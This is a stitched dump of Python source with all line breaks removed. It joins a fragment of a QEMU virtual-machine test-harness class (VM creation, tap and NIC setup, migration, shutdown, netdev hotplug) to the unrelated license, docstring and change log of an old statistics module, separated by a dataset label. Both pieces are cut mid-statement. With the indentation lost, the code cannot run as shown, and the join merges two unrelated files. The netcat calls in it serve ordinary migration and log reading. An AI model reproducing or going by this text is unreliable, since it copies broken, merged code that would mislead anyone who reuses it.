sum of " "first MB of ISO file...") actual_hash = crypto.hash_file(iso, 1048576, algorithm="md5") expected_hash = cdrom_params.get("md5sum_1m") compare = True elif cdrom_params.get("md5sum"): logging.debug("Comparing expected MD5 sum with MD5 sum of " "ISO file...") actual_hash = crypto.hash_file(iso, algorithm="md5") expected_hash = cdrom_params.get("md5sum") compare = True elif cdrom_params.get("sha1sum"): logging.debug("Comparing expected SHA1 sum with SHA1 sum " "of ISO file...") actual_hash = crypto.hash_file(iso, algorithm="sha1") expected_hash = cdrom_params.get("sha1sum") compare = True if compare: if actual_hash == expected_hash: logging.debug("Hashes match") else: raise virt_vm.VMHashMismatchError(actual_hash, expected_hash) # Make sure the following code is not executed by more than one thread # at the same time lockfile = open(CREATE_LOCK_FILENAME, "w+") fcntl.lockf(lockfile, fcntl.LOCK_EX) try: # Handle port redirections redir_names = params.objects("redirs") host_ports = utils_misc.find_free_ports( 5000, 6000, len(redir_names)) old_redirs = {} if self.redirs: old_redirs = self.redirs self.redirs = {} for i in range(len(redir_names)): redir_params = params.object_params(redir_names[i]) guest_port = int(redir_params.get("guest_port")) self.redirs[guest_port] = host_ports[i] if self.redirs != old_redirs: self.devices = None # Update the network related parameters as well to conform to # expected behavior on VM creation getattr(self, 'virtnet').__init__(self.params, self.name, self.instance) # Generate basic parameter values for all NICs and create TAP fd for nic in self.virtnet: nic_params = params.object_params(nic.nic_name) pa_type = nic_params.get("pci_assignable") if pa_type and pa_type != "no": device_driver = nic_params.get("device_driver", "pci-assign") if "mac" not in nic: self.virtnet.generate_mac_address(nic["nic_name"]) mac = nic["mac"] if self.pci_assignable is None: self.pci_assignable = test_setup.PciAssignable( driver=params.get("driver"), driver_option=params.get("driver_option"), host_set_flag=params.get("host_setup_flag"), kvm_params=params.get("kvm_default"), vf_filter_re=params.get("vf_filter_re"), pf_filter_re=params.get("pf_filter_re"), device_driver=device_driver, nic_name_re=params.get("nic_name_re")) # Virtual Functions (VF) assignable devices if pa_type == "vf": self.pci_assignable.add_device(device_type=pa_type, mac=mac, name=nic_params.get("device_name")) # Physical NIC (PF) assignable devices elif pa_type == "pf": self.pci_assignable.add_device(device_type=pa_type, name=nic_params.get("device_name")) else: raise virt_vm.VMBadPATypeError(pa_type) else: # fill in key values, validate nettype # note: make_create_command() calls vm.add_nic (i.e. on a # copy) if nic_params.get('netdst') == 'private': nic.netdst = (test_setup. PrivateBridgeConfig(nic_params).brname) nic = self.add_nic(**dict(nic)) # implied add_netdev if mac_source: # Will raise exception if source doesn't # have cooresponding nic logging.debug("Copying mac for nic %s from VM %s" % (nic.nic_name, mac_source.name)) nic.mac = mac_source.get_mac_address(nic.nic_name) if nic.ifname in utils_net.get_net_if(): self.virtnet.generate_ifname(nic.nic_name) elif (utils_net.find_current_bridge(nic.ifname)[1] == nic.netdst): utils_net.del_from_bridge(nic.ifname, nic.netdst) if nic.nettype in ['bridge', 'network', 'macvtap']: self._nic_tap_add_helper(nic) if ((nic_params.get("vhost") in ['on', 'force', 'vhost=on']) and (nic_params.get("enable_vhostfd", "yes") == "yes")): vhostfds = [] for i in xrange(int(nic.queues)): vhostfds.append(str(os.open("/dev/vhost-net", os.O_RDWR))) nic.vhostfds = ':'.join(vhostfds) elif nic.nettype == 'user': logging.info("Assuming dependencies met for " "user mode nic %s, and ready to go" % nic.nic_name) # Update the fd and vhostfd for nic devices if self.devices is not None: for device in self.devices: cmd = device.cmdline() if cmd is not None and "fd=" in cmd: new_cmd = "" for opt in cmd.split(","): if re.match('fd=', opt): opt = 'fd=%s' % nic.tapfds if re.match('vhostfd=', opt): opt = 'vhostfd=%s' % nic.vhostfds new_cmd += "%s," % opt device._cmdline = new_cmd.rstrip(",") self.virtnet.update_db() # Find available VNC port, if needed if params.get("display") == "vnc": self.vnc_port = utils_misc.find_free_port(5900, 6100) # Find random UUID if specified 'uuid = random' in config file if params.get("uuid") == "random": f = open("/proc/sys/kernel/random/uuid") self.uuid = f.read().strip() f.close() if self.pci_assignable is not None: self.pa_pci_ids = self.pci_assignable.request_devs() if self.pa_pci_ids: logging.debug("Successfully assigned devices: %s", self.pa_pci_ids) else: raise virt_vm.VMPAError(pa_type) if (name is None and params is None and root_dir is None and self.devices is not None): self.update_system_dependent_devs() # Make qemu command try: self.devices = self.make_create_command() self.update_vga_global_default(params, migration_mode) logging.debug(self.devices.str_short()) logging.debug(self.devices.str_bus_short()) qemu_command = self.devices.cmdline() except exceptions.TestSkipError: # TestSkipErrors should be kept as-is so we generate SKIP # results instead of bogus FAIL results raise except Exception: for nic in self.virtnet: self._nic_tap_remove_helper(nic) utils_misc.log_last_traceback('Fail to create qemu command:') raise virt_vm.VMStartError(self.name, 'Error occurred while ' 'executing make_create_command(). ' 'Check the log for traceback.') # Add migration parameters if required if migration_mode in ["tcp", "rdma", "x-rdma"]: self.migration_port = utils_misc.find_free_port(5200, 6000) qemu_command += (" -incoming " + migration_mode + ":0:%d" % self.migration_port) elif migration_mode == "unix": self.migration_file = os.path.join(data_dir.get_tmp_dir(), "migration-unix-%s" % self.instance) qemu_command += " -incoming unix:%s" % self.migration_file elif migration_mode == "exec": if migration_exec_cmd is None: self.migration_port = utils_misc.find_free_port(5200, 6000) qemu_command += (' -incoming "exec:nc -l %s"' % self.migration_port) else: qemu_command += (' -incoming "exec:%s"' % migration_exec_cmd) elif migration_mode == "fd": qemu_command += ' -incoming "fd:%d"' % (migration_fd) p9_fs_driver = params.get("9p_fs_driver") if p9_fs_driver == "proxy": proxy_helper_name = params.get("9p_proxy_binary", "virtfs-proxy-helper") proxy_helper_cmd = utils_misc.get_path(root_dir, proxy_helper_name) if not proxy_helper_cmd: raise virt_vm.VMConfigMissingError(self.name, "9p_proxy_binary") p9_export_dir = params.get("9p_export_dir") if not p9_export_dir: raise virt_vm.VMConfigMissingError(self.name, "9p_export_dir") proxy_helper_cmd += " -p " + p9_export_dir proxy_helper_cmd += " -u 0 -g 0" p9_socket_name = params.get("9p_socket_name") proxy_helper_cmd += " -s " + p9_socket_name proxy_helper_cmd += " -n" logging.info("Running Proxy Helper:\n%s", proxy_helper_cmd) self.process = aexpect.run_tail(proxy_helper_cmd, None, logging.info, "[9p proxy helper]", auto_close=False) else: logging.info("Running qemu command (reformatted):\n%s", qemu_command.replace(" -", " \\\n -")) self.qemu_command = qemu_command self.process = aexpect.run_tail(qemu_command, None, logging.info, "[qemu output] ", auto_close=False) logging.info("Created qemu process with parent PID %d", self.process.get_pid()) self.start_time = time.time() self.start_monotonic_time = utils_misc.monotonic_time() # test doesn't need to hold tapfd's open for nic in self.virtnet: if 'tapfds' in nic: # implies bridge/tap try: for i in nic.tapfds.split(':'): os.close(int(i)) # qemu process retains access via open file # remove this attribute from virtnet because # fd numbers are not always predictable and # vm instance must support cloning. del nic['tapfds'] # File descriptor is already closed except OSError: pass if 'vhostfds' in nic: try: for i in nic.vhostfds.split(':'): os.close(int(i)) del nic['vhostfds'] except OSError: pass # Make sure qemu is not defunct if self.process.is_defunct(): logging.error("Bad things happened, qemu process is defunct") err = ("Qemu is defunct.\nQemu output:\n%s" % self.process.get_output()) self.destroy() raise virt_vm.VMStartError(self.name, err) # Make sure the process was started successfully if not self.process.is_alive(): status = self.process.get_status() output = self.process.get_output().strip() migration_in_course = migration_mode is not None unknown_protocol = "unknown migration protocol" in output if migration_in_course and unknown_protocol: e = VMMigrateProtoUnsupportedError(migration_mode, output) else: e = virt_vm.VMCreateError(qemu_command, status, output) self.destroy() raise e # Establish monitor connections self.monitors = [] for m_name in params.objects("monitors"): m_params = params.object_params(m_name) if m_params.get("debugonly", "no") == "yes": continue try: monitor = qemu_monitor.wait_for_create_monitor(self, m_name, m_params, timeout) except qemu_monitor.MonitorConnectError, detail: logging.error(detail) self.destroy() raise # Add this monitor to the list self.monitors.append(monitor) # Create serial ports. for serial in params.objects("serials"): self.serial_ports.append(serial) # Create virtio_ports (virtio_serialports and virtio_consoles) i = 0 self.virtio_ports = [] for port in params.objects("virtio_ports"): port_params = params.object_params(port) if port_params.get('virtio_port_chardev') == "spicevmc": filename = 'dev%s' % port else: filename = self.get_virtio_port_filename(port) port_name = port_params.get('virtio_port_name_prefix', None) if port_name: # If port_name_prefix was used port_name = port_name + str(i) else: # Implicit name - port port_name = port if port_params.get('virtio_port_type') in ("console", "virtio_console"): self.virtio_ports.append( qemu_virtio_port.VirtioConsole(port, port_name, filename)) else: self.virtio_ports.append( qemu_virtio_port.VirtioSerial(port, port_name, filename)) i += 1 self.create_virtio_console() # Get the output so far, to see if we have any problems with # KVM modules or with hugepage setup. output = self.process.get_output() if re.search("Could not initialize KVM", output, re.IGNORECASE): e = virt_vm.VMKVMInitError( qemu_command, self.process.get_output()) self.destroy() raise e if "alloc_mem_area" in output: e = virt_vm.VMHugePageError( qemu_command, self.process.get_output()) self.destroy() raise e logging.debug("VM appears to be alive with PID %s", self.get_pid()) vcpu_thread_pattern = self.params.get("vcpu_thread_pattern", r"thread_id.?[:|=]\s*(\d+)") self.vcpu_threads = self.get_vcpu_pids(vcpu_thread_pattern) vhost_thread_pattern = params.get("vhost_thread_pattern", r"\w+\s+(\d+)\s.*\[vhost-%s\]") self.vhost_threads = self.get_vhost_threads(vhost_thread_pattern) self.create_serial_console() for key, value in self.logs.items(): outfile = "%s-%s.log" % (key, name) self.logsessions[key] = aexpect.Tail( "nc -U %s" % value, auto_close=False, output_func=utils_misc.log_line, output_params=(outfile,)) self.logsessions[key].set_log_file(outfile) if params.get("paused_after_start_vm") != "yes": # start guest if self.monitor.verify_status("paused"): try: self.monitor.cmd("cont") except qemu_monitor.QMPCmdError, e: if ((e.data['class'] == "MigrationExpected") and (migration_mode is not None)): logging.debug("Migration did not start yet...") else: raise e # Update mac and IP info for assigned device # NeedFix: Can we find another way to get guest ip? if params.get("mac_changeable") == "yes": utils_net.update_mac_ip_address(self, params) finally: fcntl.lockf(lockfile, fcntl.LOCK_UN) lockfile.close() def wait_for_status(self, status, timeout, first=0.0, step=1.0, text=None): """ Wait until the VM status changes to specified status :param timeout: Timeout in seconds :param first: Time to sleep before first attempt :param steps: Time to sleep between attempts in seconds :param text: Text to print while waiting, for debug purposes :return: True in case the status has changed before timeout, otherwise return None. """ return utils_misc.wait_for(lambda: self.monitor.verify_status(status), timeout, first, step, text) def wait_until_paused(self, timeout): """ Wait until the VM is paused. :param timeout: Timeout in seconds. :return: True in case the VM is paused before timeout, otherwise return None. """ return self.wait_for_status("paused", timeout) def wait_until_dead(self, timeout, first=0.0, step=1.0): """ Wait until VM is dead. :return: True if VM is dead before timeout, otherwise returns None. :param timeout: Timeout in seconds :param first: Time to sleep before first attempt :param steps: Time to sleep between attempts in seconds """ return utils_misc.wait_for(self.is_dead, timeout, first, step) def wait_for_shutdown(self, timeout=60): """ Wait until guest shuts down. Helps until the VM is shut down by the guest. :return: True in case the VM was shut down, None otherwise. Note that the VM is not necessarily dead when this function returns True. If QEMU is running in -no-shutdown mode, the QEMU process may be still alive. """ if self.no_shutdown: return self.wait_until_paused(timeout) else: return self.wait_until_dead(timeout, 1, 1) def graceful_shutdown(self, timeout=60): """ Try to gracefully shut down the VM. :return: True if VM was successfully shut down, None otherwise. Note that the VM is not necessarily dead when this function returns True. If QEMU is running in -no-shutdown mode, the QEMU process may be still alive. """ def _shutdown_by_sendline(): try: session.sendline(self.params.get("shutdown_command")) if self.wait_for_shutdown(timeout): return True finally: session.close() if self.params.get("shutdown_command"): # Try to destroy with shell command logging.debug("Shutting down VM %s (shell)", self.name) try: if len(self.virtnet) > 0: session = self.login() else: session = self.serial_login() except (IndexError), e: try: session = self.serial_login() except (remote.LoginError, virt_vm.VMError), e: logging.debug(e) else: # Successfully get session by serial_login() _shutdown_by_sendline() except (remote.LoginError, virt_vm.VMError), e: logging.debug(e) else: # There is no exception occurs _shutdown_by_sendline() def _cleanup(self, free_mac_addresses): """ Do cleanup works .removes VM monitor files. .process close .{serial,virtio}_console close .logsessions close .delete tmp files .free_mac_addresses, if needed .delete macvtap, if needed :param free_mac_addresses: Whether to release the VM's NICs back to the address pool. """ self.monitors = [] if self.pci_assignable: self.pci_assignable.release_devs() self.pci_assignable = None if self.process: self.process.close() self.cleanup_serial_console() if self.logsessions: for key in self.logsessions: self.logsessions[key].close() # Generate the tmp file which should be deleted. file_list = [self.get_testlog_filename()] file_list += qemu_monitor.get_monitor_filenames(self) file_list += self.get_virtio_port_filenames() file_list += self.get_serial_console_filenames() file_list += self.logs.values() for f in file_list: try: if f: os.unlink(f) except OSError: pass if hasattr(self, "migration_file"): try: os.unlink(self.migration_file) except OSError: pass if free_mac_addresses: for nic_index in xrange(0, len(self.virtnet)): self.free_mac_address(nic_index) for nic in self.virtnet: if nic.nettype == 'macvtap': tap = utils_net.Macvtap(nic.ifname) tap.delete() elif nic.ifname and nic.ifname not in utils_net.get_net_if(): _, br_name = utils_net.find_current_bridge(nic.ifname) if br_name == nic.netdst: utils_net.del_from_bridge(nic.ifname, nic.netdst) def destroy(self, gracefully=True, free_mac_addresses=True): """ Destroy the VM. If gracefully is True, first attempt to shutdown the VM with a shell command. Then, attempt to destroy the VM via the monitor with a 'quit' command. If that fails, send SIGKILL to the qemu process. :param gracefully: If True, an attempt will be made to end the VM using a shell command before trying to end the qemu process with a 'quit' or a kill signal. :param free_mac_addresses: If True, the MAC addresses used by the VM will be freed. """ try: # Is it already dead? if self.is_dead(): return logging.debug("Destroying VM %s (PID %s)", self.name, self.get_pid()) kill_timeout = int(self.params.get("kill_timeout", "60")) if gracefully: self.graceful_shutdown(kill_timeout) if self.is_dead(): logging.debug("VM %s down (shell)", self.name) return else: logging.debug("VM %s failed to go down (shell)", self.name) if self.monitor: # Try to finish process with a monitor command logging.debug("Ending VM %s process (monitor)", self.name) try: self.monitor.quit() except Exception, e: logging.warn(e) if self.is_dead(): logging.warn("VM %s down during try to kill it " "by monitor", self.name) return else: # Wait for the VM to be really dead if self.wait_until_dead(5, 0.5, 0.5): logging.debug("VM %s down (monitor)", self.name) return else: logging.debug("VM %s failed to go down (monitor)", self.name) # If the VM isn't dead yet... pid = self.process.get_pid() logging.debug("Ending VM %s process (killing PID %s)", self.name, pid) utils_misc.kill_process_tree(pid, 9) # Wait for the VM to be really dead if utils_misc.wait_for(self.is_dead, 5, 0.5, 0.5): logging.debug("VM %s down (process killed)", self.name) return # If all else fails, we've got a zombie... logging.error("VM %s (PID %s) is a zombie!", self.name, self.process.get_pid()) finally: self._cleanup(free_mac_addresses) @property def monitor(self): """ Return the main monitor object, selected by the parameter main_monitor. If main_monitor isn't defined or it refers to a nonexistent monitor, return the first monitor. If no monitors exist, return None. """ for m in self.monitors: if m.name == self.params.get("main_monitor"): return m if self.monitors: return self.monitors[0] return None @property def catch_monitor(self): """ Return the catch monitor object, selected by the parameter catch_monitor. If catch_monitor isn't defined or it refers to a nonexistent monitor, return the last monitor. If no monitors exist, return None. """ for m in self.monitors: if m.name == self.params.get("catch_monitor"): return m if self.monitors: return self.monitors[-1] return None def get_monitors_by_type(self, mon_type): """ Return list of monitors of mon_type type. :param mon_type: desired monitor type (qmp, human) """ return [_ for _ in self.monitors if _.protocol == mon_type] def get_peer(self, netid): """ Return the peer of netdev or network deivce. :param netid: id of netdev or device :return: id of the peer device otherwise None """ o = self.monitor.info("network") network_info = o if isinstance(o, dict): network_info = o.get["return"] netdev_peer_re = self.params.get("netdev_peer_re") if not netdev_peer_re: default_netdev_peer_re = "\s{2,}(.*?): .*?\\\s(.*?):" logging.warning("Missing config netdev_peer_re for VM %s, " "using default %s", self.name, default_netdev_peer_re) netdev_peer_re = default_netdev_peer_re pairs = re.findall(netdev_peer_re, network_info, re.S) for nic, tap in pairs: if nic == netid: return tap if tap == netid: return nic return None def get_ifname(self, nic_index=0): """ Return the ifname of a bridge/tap device associated with a NIC. :param nic_index: Index of the NIC """ return self.virtnet[nic_index].ifname def get_pid(self): """ Return the VM's PID. If the VM is dead return None. :note: This works under the assumption that self.process.get_pid() :return: the PID of the parent shell process. """ try: children = commands.getoutput("ps --ppid=%d -o pid=" % self.process.get_pid()).split() return int(children[0]) except (TypeError, IndexError, ValueError): return None def get_qemu_threads(self): """ Return the list of qemu SPIDs :return: the list of qemu SPIDs """ cmd = "ls /proc/%d/task" % self.get_pid() status, output = commands.getstatusoutput(cmd) if status: return [] return output.split() def get_shell_pid(self): """ Return the PID of the parent shell process. :note: This works under the assumption that self.process.get_pid() :return: the PID of the parent shell process. """ return self.process.get_pid() def get_vnc_port(self): """ Return self.vnc_port. """ return self.vnc_port def get_vcpu_pids(self, vcpu_thread_pattern): """ Return the list of vcpu PIDs :return: the list of vcpu PIDs """ return [int(_) for _ in re.findall(vcpu_thread_pattern, str(self.monitor.info("cpus")))] def get_vhost_threads(self, vhost_thread_pattern): """ Return the list of vhost threads PIDs :param vhost_thread_pattern: a regex to match the vhost threads :type vhost_thread_pattern: string :return: a list of vhost threads PIDs :rtype: builtin.list """ return [int(_) for _ in re.findall(vhost_thread_pattern % self.get_pid(), process.system_output("ps aux", verbose=False))] def get_shared_meminfo(self): """ Returns the VM's shared memory information. :return: Shared memory used by VM (MB) """ if self.is_dead(): logging.error("Could not get shared memory info from dead VM.") return None filename = "/proc/%d/statm" % self.get_pid() shm = int(open(filename).read().split()[2]) # statm stores informations in pages, translate it to MB return shm * 4.0 / 1024 def get_spice_var(self, spice_var): """ Returns string value of spice variable of choice or None :param spice_var - spice related variable 'spice_port', ... """ return self.spice_options.get(spice_var, None) @error_context.context_aware def hotplug_vcpu(self, cpu_id=None, plug_command=""): """ Hotplug a vcpu, if not assign the cpu_id, will use the minimum unused. the function will use the plug_command if you assigned it, else the function will use the command automatically generated based on the type of monitor :param cpu_id the cpu_id you want hotplug. """ vcpu_threads_count = len(self.vcpu_threads) plug_cpu_id = cpu_id if plug_cpu_id is None: plug_cpu_id = vcpu_threads_count if plug_command: vcpu_add_cmd = plug_command % plug_cpu_id else: if self.monitor.protocol == 'human': vcpu_add_cmd = "cpu_set %s online" % plug_cpu_id elif self.monitor.protocol == 'qmp': vcpu_add_cmd = "cpu-add id=%s" % plug_cpu_id try: self.monitor.verify_supported_cmd(vcpu_add_cmd.split()[0]) except qemu_monitor.MonitorNotSupportedCmdError: raise exceptions.TestSkipError("%s monitor not support cmd '%s'" % (self.monitor.protocol, vcpu_add_cmd)) try: cmd_output = self.monitor.send_args_cmd(vcpu_add_cmd) except qemu_monitor.QMPCmdError, e: return (False, str(e)) vcpu_thread_pattern = self.params.get("vcpu_thread_pattern", r"thread_id.?[:|=]\s*(\d+)") self.vcpu_threads = self.get_vcpu_pids(vcpu_thread_pattern) if len(self.vcpu_threads) == vcpu_threads_count + 1: return(True, plug_cpu_id) else: return(False, cmd_output) @error_context.context_aware def hotplug_nic(self, **params): """ Convenience method wrapper for add_nic() and add_netdev(). :return: dict-like object containing nic's details """ nic_name = self.add_nic(**params)["nic_name"] self.activate_netdev(nic_name) self.activate_nic(nic_name) return self.virtnet[nic_name] @error_context.context_aware def hotunplug_nic(self, nic_index_or_name): """ Convenience method wrapper for del/deactivate nic and netdev. """ # make sure we got a name nic_name = self.virtnet[nic_index_or_name].nic_name self.deactivate_nic(nic_name) self.deactivate_netdev(nic_name) self.del_nic(nic_name) @error_context.context_aware def add_netdev(self, **params): """ Hotplug a netdev device. :param params: NIC info. dict. :return: netdev_id """ nic_name = params['nic_name'] nic = self.virtnet[nic_name] nic_index = self.virtnet.nic_name_index(nic_name) nic.set_if_none('netdev_id', utils_misc.generate_random_id()) nic.set_if_none('ifname', self.virtnet.generate_ifname(nic_index)) nic.set_if_none('netdev_extra_params', params.get('netdev_extra_params')) nic.set_if_none('nettype', 'bridge') if nic.nettype in ['bridge', 'macvtap']: # implies tap # destination is required, hard-code reasonable default if unset # nic.set_if_none('netdst', 'virbr0') # tapfd allocated/set in activate because requires system resources nic.set_if_none('queues', '1') ids = [] for i in range(int(nic.queues)): ids.append(utils_misc.generate_random_id()) nic.set_if_none('tapfd_ids', ids) elif nic.nettype == 'user': pass # nothing to do else: # unsupported nettype raise virt_vm.VMUnknownNetTypeError(self.name, nic_name, nic.nettype) return nic.netdev_id @error_context.context_aware def del_netdev(self, nic_index_or_name): """ Remove netdev info. from nic on VM, does not deactivate. :param: nic_index_or_name: name or index number for existing NIC """ nic = self.virtnet[nic_index_or_name] error_context.context("removing netdev info from nic %s from vm %s" % ( nic, self.name)) for propertea in ['netdev_id', 'ifname', 'queues', 'tapfds', 'tapfd_ids', 'vectors']: if propertea in nic: del nic[propertea] def add_nic(self, **params): """ Add new or setup existing NIC, optionally creating netdev if None :param params: Parameters to set :param nic_name: Name for existing or new device :param nic_model: Model name to emulate :param netdev_id: Existing qemu net device ID name, None to create new :param mac: Optional MAC address, None to randomly generate. """ # returns existing or new nic object nic = super(VM, self).add_nic(**params) nic_index = self.virtnet.nic_name_index(nic.nic_name) nic.set_if_none('vlan', str(nic_index)) nic.set_if_none('device_id', utils_misc.generate_random_id()) nic.set_if_none('queues', '1') if 'netdev_id' not in nic: # virtnet items are lists that act like dicts nic.netdev_id = self.add_netdev(**dict(nic)) nic.set_if_none('nic_model', params['nic_model']) nic.set_if_none('queues', params.get('queues', '1')) if params.get("enable_msix_vectors") == "yes": nic.set_if_none('vectors', 2 * int(nic.queues) + 2) return nic @error_context.context_aware def activate_netdev(self, nic_index_or_name): """ Activate an inactive host-side networking device :raise: IndexError if nic doesn't exist :raise: VMUnknownNetTypeError: if nettype is unset/unsupported :raise: IOError if TAP device node cannot be opened :raise: VMAddNetDevError: if operation failed """ nic = self.virtnet[nic_index_or_name] error_context.context("Activating netdev for %s based on %s" % (self.name, nic)) msg_sfx = ("nic %s on vm %s with attach_cmd " % (self.virtnet[nic_index_or_name], self.name)) attach_cmd = "netdev_add" if nic.nettype in ['bridge', 'macvtap']: error_context.context("Opening tap device node for %s " % nic.ifname, logging.debug) if nic.nettype == "bridge": tun_tap_dev = "/dev/net/tun" python_tapfds = utils_net.open_tap(tun_tap_dev, nic.ifname, queues=nic.queues, vnet_hdr=False) elif nic.nettype == "macvtap": macvtap_mode = self.params.get("macvtap_mode", "vepa") o_macvtap = utils_net.create_macvtap(nic.ifname, macvtap_mode, nic.netdst, nic.mac) tun_tap_dev = o_macvtap.get_device() python_tapfds = utils_net.open_macvtap(o_macvtap, nic.queues) qemu_fds = "/proc/%s/fd" % self.get_pid() openfd_list = os.listdir(qemu_fds) for i in range(int(nic.queues)): error_context.context("Assigning tap %s to qemu by fd" % nic.tapfd_ids[i], logging.info) self.monitor.getfd(int(python_tapfds.split(':')[i]), nic.tapfd_ids[i]) n_openfd_list = os.listdir(qemu_fds) new_fds = list(set(n_openfd_list) - set(openfd_list)) if not new_fds: err_msg = "Can't get the fd that qemu process opened!" raise virt_vm.VMAddNetDevError(err_msg) qemu_tapfds = [fd for fd in new_fds if os.readlink( os.path.join(qemu_fds, fd)) == tun_tap_dev] if not qemu_tapfds or len(qemu_tapfds) != int(nic.queues): err_msg = "Can't get the tap fd in qemu process!" raise virt_vm.VMAddNetDevError(err_msg) nic.set_if_none("tapfds", ":".join(qemu_tapfds)) if not self.devices: err_msg = "Can't add nic for VM which is not running." raise virt_vm.VMAddNetDevError(err_msg) if ((int(nic.queues)) > 1 and ',fds=' in self.devices.get_help_text()): attach_cmd += " type=tap,id=%s,fds=%s" % (nic.device_id, nic.tapfds) else: attach_cmd += " type=tap,id=%s,fd=%s" % (nic.device_id, nic.tapfds) error_context.context("Raising interface for " + msg_sfx + attach_cmd, logging.debug) utils_net.bring_up_ifname(nic.ifname) # assume this will puke if netdst unset if nic.netdst is not None and nic.nettype == "bridge": error_context.context("Raising bridge for " + msg_sfx + attach_cmd, logging.debug) utils_net.add_to_bridge(nic.ifname, nic.netdst) elif nic.nettype == 'user': attach_cmd += " user,id=%s" % nic.device_id elif nic.nettype == 'none': attach_cmd += " none" else: # unsupported nettype raise virt_vm.VMUnknownNetTypeError(self.name, nic_index_or_name, nic.nettype) if 'netdev_extra_params' in nic and nic.netdev_extra_params: attach_cmd += nic.netdev_extra_params error_context.context( "Hotplugging " + msg_sfx + attach_cmd, logging.debug) if self.monitor.protocol == 'qmp': self.monitor.send_args_cmd(attach_cmd) else: self.monitor.send_args_cmd(attach_cmd, convert=False) network_info = self.monitor.info("network") if nic.device_id not in network_info: # Don't leave resources dangling self.deactivate_netdev(nic_index_or_name) raise virt_vm.VMAddNetDevError(("Failed to add netdev: %s for " % nic.device_id) + msg_sfx + attach_cmd) @error_context.context_aware def activate_nic(self, nic_index_or_name): """ Activate an VM's inactive NIC device and verify state :param nic_index_or_name: name or index number for existing NIC """ error_context.context("Retrieving info for NIC %s on VM %s" % ( nic_index_or_name, self.name)) nic = self.virtnet[nic_index_or_name] device_add_cmd = "device_add" if 'nic_model' in nic: device_add_cmd += ' driver=%s' % nic.nic_model device_add_cmd += ",netdev=%s" % nic.device_id if 'mac' in nic: device_add_cmd += ",mac=%s" % nic.mac device_add_cmd += ",id=%s" % nic.nic_name if nic['nic_model'] == 'virtio-net-pci': if int(nic['queues']) > 1: device_add_cmd += ",mq=on" if 'vectors' in nic: device_add_cmd += ",vectors=%s" % nic.vectors device_add_cmd += nic.get('nic_extra_params', '') if 'romfile' in nic: device_add_cmd += ",romfile=%s" % nic.romfile error_context.context("Activating nic on VM %s with monitor command %s" % ( self.name, device_add_cmd)) if self.monitor.protocol == 'q
codeparrot/github-code-clean
# Copyright (c) 1999-2002 Gary Strangman; All Rights Reserved. # # This software is distributable under the terms of the GNU # General Public License (GPL) v2, the text of which can be found at # http://www.gnu.org/copyleft/gpl.html. Installing, importing or otherwise # using this module constitutes acceptance of the terms of this License. # # Disclaimer # # This software is provided "as-is". There are no expressed or implied # warranties of any kind, including, but not limited to, the warranties # of merchantability and fittness for a given application. In no event # shall Gary Strangman be liable for any direct, indirect, incidental, # special, exemplary or consequential damages (including, but not limited # to, loss of use, data or profits, or business interruption) however # caused and on any theory of liability, whether in contract, strict # liability or tort (including negligence or otherwise) arising in any way # out of the use of this software, even if advised of the possibility of # such damage. # # Comments and/or additions are welcome (send e-mail to: # strang@nmr.mgh.harvard.edu). # """ stats.py module (Requires pstat.py module.) ################################################# ####### Written by: Gary Strangman ########### ####### Last modified: May 10, 2002 ########### ################################################# A collection of basic statistical functions for python. The function names appear below. IMPORTANT: There are really *3* sets of functions. The first set has an 'l' prefix, which can be used with list or tuple arguments. The second set has an 'a' prefix, which can accept NumPy array arguments. These latter functions are defined only when NumPy is available on the system. The third type has NO prefix (i.e., has the name that appears below). Functions of this set are members of a "Dispatch" class, c/o David Ascher. This class allows different functions to be called depending on the type of the passed arguments. Thus, stats.mean is a member of the Dispatch class and stats.mean(range(20)) will call stats.lmean(range(20)) while stats.mean(Numeric.arange(20)) will call stats.amean(Numeric.arange(20)). This is a handy way to keep consistent function names when different argument types require different functions to be called. Having implementated the Dispatch class, however, means that to get info on a given function, you must use the REAL function name ... that is "print stats.lmean.__doc__" or "print stats.amean.__doc__" work fine, while "print stats.mean.__doc__" will print the doc for the Dispatch class. NUMPY FUNCTIONS ('a' prefix) generally have more argument options but should otherwise be consistent with the corresponding list functions. Disclaimers: The function list is obviously incomplete and, worse, the functions are not optimized. All functions have been tested (some more so than others), but they are far from bulletproof. Thus, as with any free software, no warranty or guarantee is expressed or implied. :-) A few extra functions that don't appear in the list below can be found by interested treasure-hunters. These functions don't necessarily have both list and array versions but were deemed useful CENTRAL TENDENCY: geometricmean harmonicmean mean median medianscore mode MOMENTS: moment variation skew kurtosis skewtest (for Numpy arrays only) kurtosistest (for Numpy arrays only) normaltest (for Numpy arrays only) ALTERED VERSIONS: tmean (for Numpy arrays only) tvar (for Numpy arrays only) tmin (for Numpy arrays only) tmax (for Numpy arrays only) tstdev (for Numpy arrays only) tsem (for Numpy arrays only) describe FREQUENCY STATS: itemfreq scoreatpercentile percentileofscore histogram cumfreq relfreq VARIABILITY: obrientransform samplevar samplestdev signaltonoise (for Numpy arrays only) var stdev sterr sem z zs zmap (for Numpy arrays only) TRIMMING FCNS: threshold (for Numpy arrays only) trimboth trim1 round (round all vals to 'n' decimals; Numpy only) CORRELATION FCNS: covariance (for Numpy arrays only) correlation (for Numpy arrays only) paired pearsonr spearmanr pointbiserialr kendalltau linregress INFERENTIAL STATS: ttest_1samp ttest_ind ttest_rel chisquare ks_2samp mannwhitneyu ranksums wilcoxont kruskalwallish friedmanchisquare PROBABILITY CALCS: chisqprob erfcc zprob ksprob fprob betacf gammln betai ANOVA FUNCTIONS: F_oneway F_value SUPPORT FUNCTIONS: writecc incr sign (for Numpy arrays only) sum cumsum ss summult sumdiffsquared square_of_sums shellsort rankdata outputpairedstats findwithin """ ## CHANGE LOG: ## =========== ## 02-11-19 ... fixed attest_ind and attest_rel for div-by-zero Overflows ## 02-05-10 ... fixed lchisqprob indentation (failed when df=even) ## 00-12-28 ... removed aanova() to separate module, fixed licensing to ## match Python License, fixed doc string & imports ## 00-04-13 ... pulled all "global" statements, except from aanova() ## added/fixed lots of documentation, removed io.py dependency ## changed to version 0.5 ## 99-11-13 ... added asign() function ## 99-11-01 ... changed version to 0.4 ... enough incremental changes now ## 99-10-25 ... added acovariance and acorrelation functions ## 99-10-10 ... fixed askew/akurtosis to avoid divide-by-zero errors ## added aglm function (crude, but will be improved) ## 99-10-04 ... upgraded acumsum, ass, asummult, asamplevar, avar, etc. to ## all handle lists of 'dimension's and keepdims ## REMOVED ar0, ar2, ar3, ar4 and replaced them with around ## reinserted fixes for abetai to avoid math overflows ## 99-09-05 ... rewrote achisqprob/aerfcc/aksprob/afprob/abetacf/abetai to ## handle multi-dimensional arrays (whew!) ## 99-08-30 ... fixed l/amoment, l/askew, l/akurtosis per D'Agostino (1990) ## added 